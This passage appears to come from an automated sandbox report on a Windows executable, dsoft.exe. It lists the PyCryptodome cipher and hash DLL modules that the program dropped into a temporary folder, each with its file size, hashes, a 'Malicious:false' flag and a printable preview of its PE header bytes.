                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#."... ......P.....................................................`.........................................0J.......J..d....p.......`..................,....C...............................B..@............@...............................text....!.......".................. ..`.rdata.......@.......&..............@..@.data...8....P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..,............>..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_blowfish.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):20992
                                                                                                                                                                                                                                        Entropy (8bit):6.058843128972375
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:fHU/5cJMOZA0nmwBD+XpJgLa0Mp8Qhg4P2llyM:QK1XBD+DgLa1qTi
                                                                                                                                                                                                                                        MD5:E4969D864420FEB94F54CEF173D0AD4D
                                                                                                                                                                                                                                        SHA1:7F8FE4225BB6FD37F84EBCE8E64DF7192BA50FB6
                                                                                                                                                                                                                                        SHA-256:94D7D7B43E58170CAEA4520D7F741D743BC82B59BE50AA37D3D2FB7B8F1BB061
                                                                                                                                                                                                                                        SHA-512:F02F02A7DE647DDA723A344DBB043B75DA54D0783AE13E5D25EEC83072EA3B2375F672B710D6348D9FC829E30F8313FA44D5C28B4D65FDA8BB863700CAE994B7
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#.$...0......P.....................................................`.........................................pY.......Z..d............p..................4...@S...............................R..@............@...............................text....".......$.................. ..`.rdata..L....@... ...(..............@..@.data...8....`.......H..............@....pdata.......p.......J..............@..@.rsrc................N..............@..@.reloc..4............P..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_cast.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):25088
                                                                                                                                                                                                                                        Entropy (8bit):6.458942954966616
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:xVcaHLHm+kJ7ZXmrfXA+UA10ol31tuXyZQ7gLWi:8aHrm+kJNXmrXA+NNxWi28LWi
                                                                                                                                                                                                                                        MD5:CD4B96612DEFDAAC5CF923A3960F15B6
                                                                                                                                                                                                                                        SHA1:3F987086C05A4246D8CCA9A65E42523440C7FFEC
                                                                                                                                                                                                                                        SHA-256:5C25283C95FFF9B0E81FCC76614626EB8048EA3B3FD1CD89FE7E2689130E0447
                                                                                                                                                                                                                                        SHA-512:C650860A3ECC852A25839FF1E379526157EB79D4F158B361C90077875B757F5E7A4AA33FFE5F4F49B28DF5D60E3471370889FBE3BF4D9568474ECE511FF5E67D
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#.$...@............................................................`.........................................@i.......i..d...............................4....b...............................a..@............@...............................text....".......$.................. ..`.rdata.......@...0...(..............@..@.data...8....p.......X..............@....pdata...............Z..............@..@.rsrc................^..............@..@.reloc..4............`..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_cbc.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):12288
                                                                                                                                                                                                                                        Entropy (8bit):4.833693880012467
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:BF/1nb2eqCQtkrAUj8OxKbDbzecqgYvEkrK:t2P6EE8OsbD2gYvEmK
                                                                                                                                                                                                                                        MD5:0C46D7B7CD00B3D474417DE5D6229C41
                                                                                                                                                                                                                                        SHA1:825BDB1EA8BBFE7DE69487B76ABB36196B5FDAC0
                                                                                                                                                                                                                                        SHA-256:9D0A5C9813AD6BA129CAFEF815741636336EB9426AC4204DE7BC0471F7B006E1
                                                                                                                                                                                                                                        SHA-512:D81B17B100A052899D1FD4F8CEA1B1919F907DAA52F1BAD8DC8E3F5AFC230A5BCA465BBAC2E45960E7F8072E51FDD86C00416D06CF2A1F07DB5AD8A4E3930864
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#............P.....................................................`..........................................8.......9..d....`.......P..X............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......&..............@....pdata..X....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..,....p......................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_cfb.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):13824
                                                                                                                                                                                                                                        Entropy (8bit):4.900216636767426
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:YTI1RgPfqLlvIOP3bdS2hkPUDk9oCM/vPXcqgzQkvEmO:YTvYgAdDkUDDCWpgzQkvE
                                                                                                                                                                                                                                        MD5:3142C93A6D9393F071AB489478E16B86
                                                                                                                                                                                                                                        SHA1:4FE99C817ED3BCC7708A6631F100862EBDA2B33D
                                                                                                                                                                                                                                        SHA-256:5EA310E0F85316C8981ED6293086A952FA91A6D12CA3F8AF9581521EE2B15586
                                                                                                                                                                                                                                        SHA-512:DCAFEC54BD9F9F42042E6FA4AC5ED53FEB6CF8D56ADA6A1787CAFC3736AA72F14912BBD1B27D0AF87E79A6D406B0326602ECD1AD394ACDC6275AED4C41CDB9EF
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................?.....q......................q.......q.......q.........................S.............Rich............PE..d....y.e.........." ...#..... ......P.....................................................`..........................................9.......9..d....`.......P..d............p..,....3...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......,..............@....pdata..d....P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_ctr.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):14848
                                                                                                                                                                                                                                        Entropy (8bit):5.302400096950382
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:SJ1gSPqgKkwv0i8NSixSK57NEEE/qexcEtDr+DjRcqgUF6+6vEX:6E1si8NSixS0CqebtD+rgUUjvE
                                                                                                                                                                                                                                        MD5:A34F499EE5F1B69FC4FED692A5AFD3D6
                                                                                                                                                                                                                                        SHA1:6A37A35D4F5F772DAB18E1C2A51BE756DF16319A
                                                                                                                                                                                                                                        SHA-256:4F74BCF6CC81BAC37EA24CB1EF0B17F26B23EDB77F605531857EAA7B07D6C8B2
                                                                                                                                                                                                                                        SHA-512:301F7C31DEE8FF65BB11196F255122E47F3F1B6B592C86B6EC51AB7D9AC8926FECFBE274679AD4F383199378E47482B2DB707E09D73692BEE5E4EC79C244E3A8
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........B...,...,...,......,.q.-...,..-...,...-...,.q.)...,.q.(...,.q./...,...$...,...,...,.......,.......,.Rich..,.................PE..d....y.e.........." ...#..... ......P.....................................................`..........................................9......x:..d....`.......P...............p..,....3...............................1..@............0.. ............................text............................... ..`.rdata.......0....... ..............@..@.data........@.......0..............@....pdata.......P.......2..............@..@.rsrc........`.......6..............@..@.reloc..,....p.......8..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_des.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):57856
                                                                                                                                                                                                                                        Entropy (8bit):4.25844209931351
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:1UqVT1dZ/lHkJnYcZiGKdZHDLtiduprZAZB0JAIg+v:nHlHfJid3X
                                                                                                                                                                                                                                        MD5:007BE822C3657687A84A7596531D79B7
                                                                                                                                                                                                                                        SHA1:B24F74FDC6FA04EB7C4D1CD7C757C8F1C08D4674
                                                                                                                                                                                                                                        SHA-256:6CF2B3969E44C88B34FB145166ACCCDE02B53B46949A9D5C37D83CA9C921B8C8
                                                                                                                                                                                                                                        SHA-512:F9A8B070302BDFE39D0CD8D3E779BB16C9278AE207F5FADF5B27E1A69C088EEF272BFBCE6B977BA37F68183C8BBEAC7A31668662178EFE4DF8940E19FBCD9909
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A..n...n...n......n.q.o...n...o...n...o...n.q.k...n.q.j...n.q.m...n...f...n...n...n.......n...l...n.Rich..n.........PE..d....y.e.........." ...#.8...................................................0............`.....................................................d...............l............ ..4...................................@...@............P...............................text....7.......8.................. ..`.rdata..f....P.......<..............@..@.data...8...........................@....pdata..l...........................@..@.rsrc...............................@..@.reloc..4.... ......................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_des3.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):58368
                                                                                                                                                                                                                                        Entropy (8bit):4.274890605099198
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:4Uqho9weF5/dHkRnYcZiGKdZHDL7idErZBZYmGg:ECndH//iduz
                                                                                                                                                                                                                                        MD5:A883798D95F76DA8513DA6B87D470A2A
                                                                                                                                                                                                                                        SHA1:0507D920C1935CE71461CA1982CDB8077DDB3413
                                                                                                                                                                                                                                        SHA-256:AED194DD10B1B68493481E7E89F0B088EF216AB5DB81959A94D14BB134643BFB
                                                                                                                                                                                                                                        SHA-512:5C65221542B3849CDFBC719A54678BB414E71DE4320196D608E363EFF69F2448520E620B5AA8398592D5B58D7F7EC1CC4C72652AD621308C398D45F294D05C9B
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A..n...n...n......n.q.o...n...o...n...o...n.q.k...n.q.j...n.q.m...n...f...n...n...n.......n...l...n.Rich..n.........PE..d....y.e.........." ...#.:...................................................0............`.................................................P...d............................ ..4...................................@...@............P...............................text...x9.......:.................. ..`.rdata.......P.......>..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..4.... ......................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_ecb.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):10752
                                                                                                                                                                                                                                        Entropy (8bit):4.5811635662773185
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:PzWVddiTHThQTctEEI4qXDc1CkcqgbW6:PzWMdsc+EuXDc0YgbW
                                                                                                                                                                                                                                        MD5:DEDAE3EFDA452BAB95F69CAE7AEBB409
                                                                                                                                                                                                                                        SHA1:520F3D02693D7013EA60D51A605212EFED9CA46B
                                                                                                                                                                                                                                        SHA-256:6248FDF98F949D87D52232DDF61FADA5EF02CD3E404BB222D7541A84A3B07B8A
                                                                                                                                                                                                                                        SHA-512:8C1CAB8F34DE2623A42F0750F182B6B9A7E2AFFA2667912B3660AF620C7D9AD3BD5B46867B3C2D50C0CAE2A1BC03D03E20E4020B7BA0F313B6A599726F022C6C
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&4%.bUK.bUK.bUK.k-..`UK..)J.`UK.)-J.aUK.bUJ.AUK..)N.iUK..)O.jUK..)H.aUK.(C.cUK.(K.cUK.(..cUK.(I.cUK.RichbUK.........PE..d....y.e.........." ...#............P........................................p............`.........................................p'......((..P....P.......@...............`..,...."...............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_eksblowfish.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):22016
                                                                                                                                                                                                                                        Entropy (8bit):6.1405490084747445
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:WMU/5cRUtPMbNv37t6KjjNrDF6pJgLa0Mp8Qg0gYP2lcCM:WdKR8EbxwKflDFQgLa1AzP
                                                                                                                                                                                                                                        MD5:914EA1707EBA03E4BE45D3662BF2466E
                                                                                                                                                                                                                                        SHA1:3E110C9DBFE1D17E1B4BE69052E65C93DDC0BF26
                                                                                                                                                                                                                                        SHA-256:4D4F22633D5DB0AF58EE260B5233D48B54A6F531FFD58EE98A5305E37A00D376
                                                                                                                                                                                                                                        SHA-512:F6E6323655B351E5B7157231E04C352A488B0B49D7174855FC8594F119C87A26D31C602B3307C587A28AD408C2909A93B8BA8CB41166D0113BD5C6710C4162C3
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#.(...0......P.....................................................`.........................................pY.......Z..d............p..................4...@S...............................R..@............@...............................text...X'.......(.................. ..`.rdata..T....@... ...,..............@..@.data...8....`.......L..............@....pdata.......p.......N..............@..@.rsrc................R..............@..@.reloc..4............T..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_ocb.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):17920
                                                                                                                                                                                                                                        Entropy (8bit):5.350740516564008
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:GPHdP3Mj7Be/yB/MsB3yRcb+IqcOYoQViCBD88g6Vf4A:APcnB8KEsB3ocb+pcOYLMCBDu
                                                                                                                                                                                                                                        MD5:52E481A15C3CE1B0DF8BA3B1B77DF9D0
                                                                                                                                                                                                                                        SHA1:C1F06E1E956DFDE0F89C2E237ADFE42075AAE954
                                                                                                                                                                                                                                        SHA-256:C85A6783557D96BFA6E49FE2F6EA4D2450CF110DA314C6B8DCEDD7590046879B
                                                                                                                                                                                                                                        SHA-512:108FB1344347F0BC27B4D02D3F4E75A76E44DE26EF54323CB2737604DF8860A94FA37121623A627937F452B3B923C3D9671B13102D2E5F1005E4766E80A05A96
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d....y.e.........." ...#.(... ......P.....................................................`..........................................I.......J..d....p.......`..................,....C...............................A..@............@...............................text....'.......(.................. ..`.rdata..8....@.......,..............@..@.data........P.......<..............@....pdata.......`.......>..............@..@.rsrc........p.......B..............@..@.reloc..,............D..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_ofb.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):12288
                                                                                                                                                                                                                                        Entropy (8bit):4.737329240938157
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:BF/1nb2eqCQtkgU7L9D0T70fcqgYvEJPb:t2P6L9DWAxgYvEJj
                                                                                                                                                                                                                                        MD5:A13584F663393F382C6D8D5C0023BC80
                                                                                                                                                                                                                                        SHA1:D324D5FBD7A5DBA27AA9B0BDB5C2AEBFF17B55B1
                                                                                                                                                                                                                                        SHA-256:13C34A25D10C42C6A12D214B2D027E5DC4AE7253B83F21FD70A091FEDAC1E049
                                                                                                                                                                                                                                        SHA-512:14E4A6F2959BD68F441AA02A4E374740B1657AB1308783A34D588717F637611724BC90A73C80FC6B47BC48DAFB15CF2399DC7020515848F51072F29E4A8B4451
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#............P.....................................................`..........................................8.......9..d....`.......P..X............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......&..............@....pdata..X....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..,....p......................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_BLAKE2b.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):14848
                                                                                                                                                                                                                                        Entropy (8bit):5.2072665819239585
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:iF/1nb2eqCQtkhlgJ2ycxFzShJD9CAac2QDeJKcqgQx2XY:Y2PKr+2j8JDefJagQx2XY
                                                                                                                                                                                                                                        MD5:104B480CB83BFF78101CF6940588D570
                                                                                                                                                                                                                                        SHA1:6FC56B9CF380B508B01CAB342FCC939494D1F595
                                                                                                                                                                                                                                        SHA-256:BA4F23BBDD1167B5724C04DB116A1305C687001FAC43304CD5119C44C3BA6588
                                                                                                                                                                                                                                        SHA-512:60617865C67115AD070BD6462B346B89B69F834CAF2BFE0EF315FB4296B833E095CD03F3F4D6D9499245C5DA8785F2FBE1AC7427049BD48428EBF74529229040
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d...~y.e.........." ...#..... ......P.....................................................`..........................................9......|:..d....`.......P..@............p..,....3...............................2..@............0...............................text...X........................... ..`.rdata.......0....... ..............@..@.data...8....@.......0..............@....pdata..@....P.......2..............@..@.rsrc........`.......6..............@..@.reloc..,....p.......8..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_BLAKE2s.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):14336
                                                                                                                                                                                                                                        Entropy (8bit):5.177411248432731
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:mF/1nb2eqCQt7fSxp/CJPvADQZntxSOvbcqgEvcM+:c2PNKxZWPIDexVlgEvL
                                                                                                                                                                                                                                        MD5:06D3E941860BB0ABEDF1BAF1385D9445
                                                                                                                                                                                                                                        SHA1:E8C16C3E8956BA99A2D0DE860DCFC5021F1D7DE5
                                                                                                                                                                                                                                        SHA-256:1C340D2625DAD4F07B88BB04A81D5002AABF429561C92399B0EB8F6A72432325
                                                                                                                                                                                                                                        SHA-512:6F62ACFF39B77C1EC9F161A9BFA94F8E3B932D56E63DAEE0093C041543993B13422E12E29C8231D88BC85C0573AD9077C56AA7F7A307E27F269DA17FBA8EE5A3
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#..... ......P.....................................................`.........................................09.......9..d....`.......P..@............p..,....3...............................2..@............0...............................text...8........................... ..`.rdata..4....0......................@..@.data...8....@......................@....pdata..@....P.......0..............@..@.rsrc........`.......4..............@..@.reloc..,....p.......6..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_MD2.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):14336
                                                                                                                                                                                                                                        Entropy (8bit):5.137579183601755
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:5siHfq5po0ZUp8XnUp8XjEQnlDtW26rcqgcx2:nqDZUp8XUp8AclDN69gcx2
                                                                                                                                                                                                                                        MD5:F938A89AEC5F535AF25BD92221BBC141
                                                                                                                                                                                                                                        SHA1:384E1E92EBF1A6BBE068AB1493A26B50EFE43A7E
                                                                                                                                                                                                                                        SHA-256:774A39E65CC2D122F8D4EB314CED60848AFFF964FB5AD2627E32CB10EF28A6D0
                                                                                                                                                                                                                                        SHA-512:ED0506B9EBCEC26868F484464F9CC38E28F8056D6E55C536ECD2FD98F58F29F2D1CE96C5E574876A9AA6FD22D3756A49BC3EB464A7845CB3F28A1F3D1C98B4D7
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d...qy.e.........." ...#..... ......P.....................................................`..........................................9......0:..d....`.......P..(............p..,....4...............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...h....@......................@....pdata..(....P.......0..............@..@.rsrc........`.......4..............@..@.reloc..,....p.......6..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_MD4.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):13824
                                                                                                                                                                                                                                        Entropy (8bit):5.158343521612926
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:jsiHfq5pwUivkwXap8T0NchH73s47iDJxj2wcqgfvE:9qbi8wap8T0Ncp7n7iDbFgfvE
                                                                                                                                                                                                                                        MD5:173EED515A1ADDD1DA0179DD2621F137
                                                                                                                                                                                                                                        SHA1:D02F5E6EDA9FF08ABB4E88C8202BAD7DB926258F
                                                                                                                                                                                                                                        SHA-256:9D9574A71EB0DE0D14570B5EDA06C15C17CC2E989A20D1E8A4821CB813290D5F
                                                                                                                                                                                                                                        SHA-512:8926FBB78A00FD4DC67670670035D9E601AF27CDBE003DC45AD809E8DA1042DDECB997F44ED104BEC13391C8048051B0AAD0C10FDEEDFB7F858BA177E92FDC54
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d...qy.e.........." ...#............P.....................................................`.........................................p8...... 9..d....`.......P..(............p..,...@3...............................2..@............0...............................text............................... ..`.rdata..p....0......................@..@.data...p....@.......,..............@....pdata..(....P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_MD5.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):15360
                                                                                                                                                                                                                                        Entropy (8bit):5.469810464531962
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:RZ9WfqP7M93g8UdsoS1hhiBvzcuiDSjeoGmDZNbRBP0rcqgjPrvE:sA0gHdzS1MwuiDSyoGmD/r89gjPrvE
                                                                                                                                                                                                                                        MD5:39B06A1707FF5FDC5B3170EB744D596D
                                                                                                                                                                                                                                        SHA1:37307B2826607EA8D5029293990EB1476AD6CC42
                                                                                                                                                                                                                                        SHA-256:2E8BB88D768890B6B68D5B6BB86820766ADA22B82F99F31C659F4C11DEF211A1
                                                                                                                                                                                                                                        SHA-512:98C3C45EB8089800EDF99ACEA0810820099BFD6D2C805B80E35D9239626CB67C7599F1D93D2A14D2F3847D435EAA065BF56DF726606BB5E8A96E527E1420633D
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d...ry.e.........." ...#. ..........P.....................................................`..........................................8.......9..d....`.......P..X............p..,....3...............................1..@............0...............................text............ .................. ..`.rdata.......0.......$..............@..@.data........@.......2..............@....pdata..X....P.......4..............@..@.rsrc........`.......8..............@..@.reloc..,....p.......:..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_RIPEMD160.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
